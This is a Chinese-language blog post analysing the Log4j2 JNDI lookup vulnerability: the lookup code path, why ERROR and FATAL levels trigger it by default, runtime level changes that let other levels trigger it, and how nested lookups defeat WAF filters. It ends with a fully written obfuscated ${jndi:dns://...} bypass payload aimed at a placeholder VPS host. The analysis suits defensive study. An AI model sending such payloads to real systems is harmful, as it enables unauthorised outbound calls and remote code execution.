天天看點

log4j2 rce幾個疑惑點解惑

  log4j2火爆全網,這裡抽空簡單分析下,幾個疑惑點的解答

  log4j2這波屬于官方自爆:

  https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup

  官方文檔lookup使用:

  

log4j2 rce幾個疑惑點解惑

 稍微學過一點ldap注入的都會嘗試下ldap://,哈哈哈,開個玩笑~

 漏洞本質原因是jndi:分支最後走到了lookup:

 當列印log的時候,輸入的變量會被lookup污染

 /org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class

log4j2 rce幾個疑惑點解惑

   漏洞原理沒啥好講的,一步步跟代碼又臭又長. 

  先示範漏洞效果:

  測試demo:

  運作代碼:

log4j2 rce幾個疑惑點解惑

   

發現vps上接收到本地發送的請求,這裡不示範漏洞利用rce,點到為止,至此,漏洞利用示範完成

幾個疑惑點解惑

網傳隻有error等級可以觸發ldap注入,而.info/debug等日志等級無法觸發,這是為什麼呢?我沒看到網上有人分析,這裡簡單過一下

首先error處打斷點:

log4j2 rce幾個疑惑點解惑

  統一使用step into去跟函數:

log4j2 rce幾個疑惑點解惑

繼續往下跟,這是關鍵:

   跟進isEnabled函數:

log4j2 rce幾個疑惑點解惑

  繼續往下跟:

  其中的關鍵點在于最後的判斷:

   首選判斷等級不能為空,并且目前等級要大于等級設定的等級

log4j2 rce幾個疑惑點解惑

可以發現目前的等級是200,我們調用的error等級也是200,是以滿足條件,傳回true

log4j2 rce幾個疑惑點解惑

對于滿足條件的,進logMessage

通過上面的調試,我們知道了error對應的等級數值是200

檢視log4j2文檔,我們找到了相關的說明:

log4j2 rce幾個疑惑點解惑

  預設this.intLevel為200,那麼滿足條件的有ERROR/FOTAL,測試一把:

log4j2 rce幾個疑惑點解惑

    示範兩個成功的以後,示範失敗的,修改等級為debug:

log4j2 rce幾個疑惑點解惑

 發現我們的intLevel還是200,而error級别是500了,很明顯不符合條件,最終傳回false

log4j2 rce幾個疑惑點解惑

  直接跳出了if判斷

log4j2 rce幾個疑惑點解惑

讓debug也可以觸發很簡單,隻要修改privateConfig中的intLevel的值,當intLevel>=500即可觸發

這邊嘗試修改配置檔案,是不行的,得動态修改,修改自定義代碼如下:

  再次運作代碼:

log4j2 rce幾個疑惑點解惑

  debug跟一下:

log4j2 rce幾個疑惑點解惑

  發現我們的this.intLevel是500,滿足條件

  結論:别的等級也可以觸發,需要動态設定等級,如果開發自定義了等級,即可在其他等級上觸發漏洞

  前面在漏洞産生原因處已經說明漏洞原因,現在直接在lookup處debug:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class#86

log4j2 rce幾個疑惑點解惑

   在error處debug:

log4j2 rce幾個疑惑點解惑

  使用跳轉debug,跳轉到lookup:

log4j2 rce幾個疑惑點解惑

  這一串利用連結,還是相當複雜的,source很難,sink很簡單.

  又臭又長的分析不搞了,有興趣的可以自己跟進去看代碼.

  網上出了很多bypass waf變形payload,如下所示:

log4j2 rce幾個疑惑點解惑

通用的問題,我就挑兩個出來講講,首先是upper和lower:

簡單說下原理:

先在這裡下斷點:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class

log4j2 rce幾個疑惑點解惑

 往下跟跳:

log4j2 rce幾個疑惑點解惑

  

手動點選進入lookup函數:

/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrLookup.class

  通過idea檢視接口實作類:

log4j2 rce幾個疑惑點解惑

16個實作接口類,lower和upper看一個即可:

如果payload裡包含lower:

會走lower的lookup:

/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/LowerLookup.class

log4j2 rce幾個疑惑點解惑

 

log4j2 rce幾個疑惑點解惑

同理jndi走jndilookup的分支,upper走upperlookup的分支

那麼jndi走lookup

/Users/qixin01/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/JndiLookup.class

log4j2 rce幾個疑惑點解惑

  其中最不解的是${:-},這個bypass變種

  這裡多次debug發現問題在:

log4j2 rce幾個疑惑點解惑

會根據:-分割,是以要包含:-

${:-}會被自動處理掉

我的測試payload:${j${:-}n${:-}d${:-}i${:-}:${:-}${123::-}${:-}${:-}${:-}${:-}${:-}d${::-}n${::-}s://v p s ip:53/

簡單分析了下,如果有錯誤,歡迎指出.